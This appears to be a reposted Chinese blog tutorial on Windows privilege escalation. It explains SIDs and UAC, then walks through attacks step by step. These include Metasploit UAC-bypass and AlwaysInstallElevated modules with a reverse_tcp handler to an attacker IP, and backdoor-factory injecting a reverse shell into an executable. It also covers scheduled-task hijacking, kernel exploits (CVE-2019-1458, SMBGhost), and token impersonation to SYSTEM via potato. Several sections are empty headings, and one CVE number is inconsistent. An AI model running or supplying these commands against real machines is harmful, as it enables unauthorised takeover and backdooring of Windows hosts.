系统相关
首页 > 系统相关> > windows提权

windows提权

作者:互联网

0x01.windows提权基本介绍

1.提权分类

纵向提权

低权限角色获取高权限角色的权限

横向提权

获取同级别角色的权限

常用提权方法

2.安全标识符(SID)

安全标识符(SID)是Windows操作系统使用的独一无二的,不变的标识符用于标识用户、用户群、或其他安全主体.操作系统也是通过SID来识别用户的,并不是所谓的用户名
安全标识符一经产生,不会与全世界任何的安全标识符重复;也不随用户更名而变化。如果删除了用户帐户,然后再创建同名帐户,则产生的安全标识符是不同的。

查询自己的SID可以通过:whoami /user

查询其他用户的SID可以通过WMI命令查询:wmic useraccount where name="%username%" get sid

所有的SID都以S-1-5-21开头,否则将是唯一的。Windows中管理员帐户的SID始终以500结尾。 Guest帐户的SID总是以501结尾。您还可以在每个与特定内置帐户相对应的Windows安装中找到SID。例如,S-1-5-18 SID可以在您遇到的任何Windows副本中找到,并对应于LocalSystem帐户,即在用户登录之前在Windows中加载的系统帐户。

以下是用户SID的示例:S-1-5-21-1180699209-877415012-3182924384-1004 。 SID是我家用电脑上的帐户号码 - 您的帐号会有所不同。

常见的SID列表:

    S-1-5-18 (LocalSystem)
    S-1-5-19 (LocalService)
    S-1-5-20 (NetworkService)
    S-1-5-32-544 (Administrators)
    S-1-5-32-545 (Users)
    S-1-5-32-550 (PrintOperators)

 

3.UAC

用户账户控制UAC:UAC 是 win10 操作系统中非常重要的安全功能,它起源于 windows vista 操作系统,流行于windows7、windows8。各种功能策略得到了完善的修订和开发,应用在win10操作系统中,目的是减少恶意软件对系统的侵害(比如大部分的恶意软件、木马病毒、广告插件在进入计算机是都会有如下操作:文件复制到到windows目录,安装驱动,安装activex等操作)。
操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则。执行的时候就需要权限,否则是不会运行的。
不涉及到更改计算机操作的项目是不会触发UAC规则的,能够触发UAC规则的常用操作包括以下内容

UAC的实现

4.提权的基础命令

0x02.UAC绕过思路

1.Akagi工具获取UAC权限

项目地址:https://github.com/hfiref0x/UACME
下载后进行编译
image.png

调用直接运行cmd。绕过uac启动管理员权限的cmd
image.png

2.MSF获取UAC权限

msf > use exploit/windows/local/bypassuac
msf > set session 1
msf > exploit

没有使用bypassuac这个模块的session,进入shell创建用户

可以看见无法创建新用户,被拒绝
image.png
使用bypassuac重新获取到一个session之后,在进入shell创建用户
image.png
成功创建

3.msi文件直接获取超级管理员权限

我们可以使用msf生成一个msi文件,在windows中,msi文件会以高级管理员权限运行,上线之后的权限就是system.
前提是目标系统上启用AlwaysInstallElevated这个策略
AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行明msi文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件以system权限执行任意payload。

msf6 exploit(windows/local/bypassuac) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

image.png

msf集成了漏洞利用模块
exploit/windows/local/always_install_elevated

msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) > show options
 
Module options (exploit/windows/local/always_install_elevated):
 
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
 
 
Payload options (windows/meterpreter/reverse_tcp):
 
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.50.137 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
 

4.dll后门注入绕过UAC

使用文件绑定形式绑定flash.exe
copy /b+ a.exe+b.exe c.exe

使用backdoor这款工具注入dll或者exe the-backdoor-factory
./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444 -s reverse_shell_tcp_inline
如果不知道使用什么后门,可以直接让程序自己判断
./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444
image.png

5.计划任务提权

在Windows中可以利用计划任务覆盖原有的程序来进行替换
可以使用如下命令查看计算机上的计划任务。
schtasks /query /fo LIST /v

使用如下命令可以查看指定目录的权限配置情况。如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。

accesschk.exe -dqv "D:test" -accepteula

6.Windows10 以下通杀提权

CVE-2019-1468是Win32特权提升漏洞,可以直接提权windows10以下版本
盖提权可能导致蓝屏的问题
https://github.com/unamer/CVE-2019-1458
image.png

7.JuicyPotato2.exe提权

利用MS16-075漏洞来进行提权
FoxGlove公布(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)的potato及Tate(https://github.com/Kevin-Robertson/Tater)公布的Tater.ps1利用程序。

msf exploit(web_delivery) > set ExitOnsession false
msf exploit(web_delivery) > run
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter > getprivs
===========================================================
Enabled Process Privileges
===========================================================
SeAssignPrimaryTokenPrivilege
 
meterpreter > upload /root/potato.exe C:\Users\Public
meterpreter > cd C:\\Users\\Public
meterpreter > use incognito
meterpreter > list_tokens -u
NT AUTHORITY\IUSR
 
meterpreter > execute -cH -f ./potato.exe
meterpreter > list_tokens -u
NT AUTHORITY\IUSR
NT AUTHORITY\SYSTEM
 
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

8.其他

$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

0x03.漏洞提权

1.漏洞提权思路

2.第三方软件提权

0x04.提权思路

image.png

参考

安全标识符(SID)

标签:windows,用户,提权,exploit,SID,权限
来源: https://www.cnblogs.com/zzhoo/p/16164718.html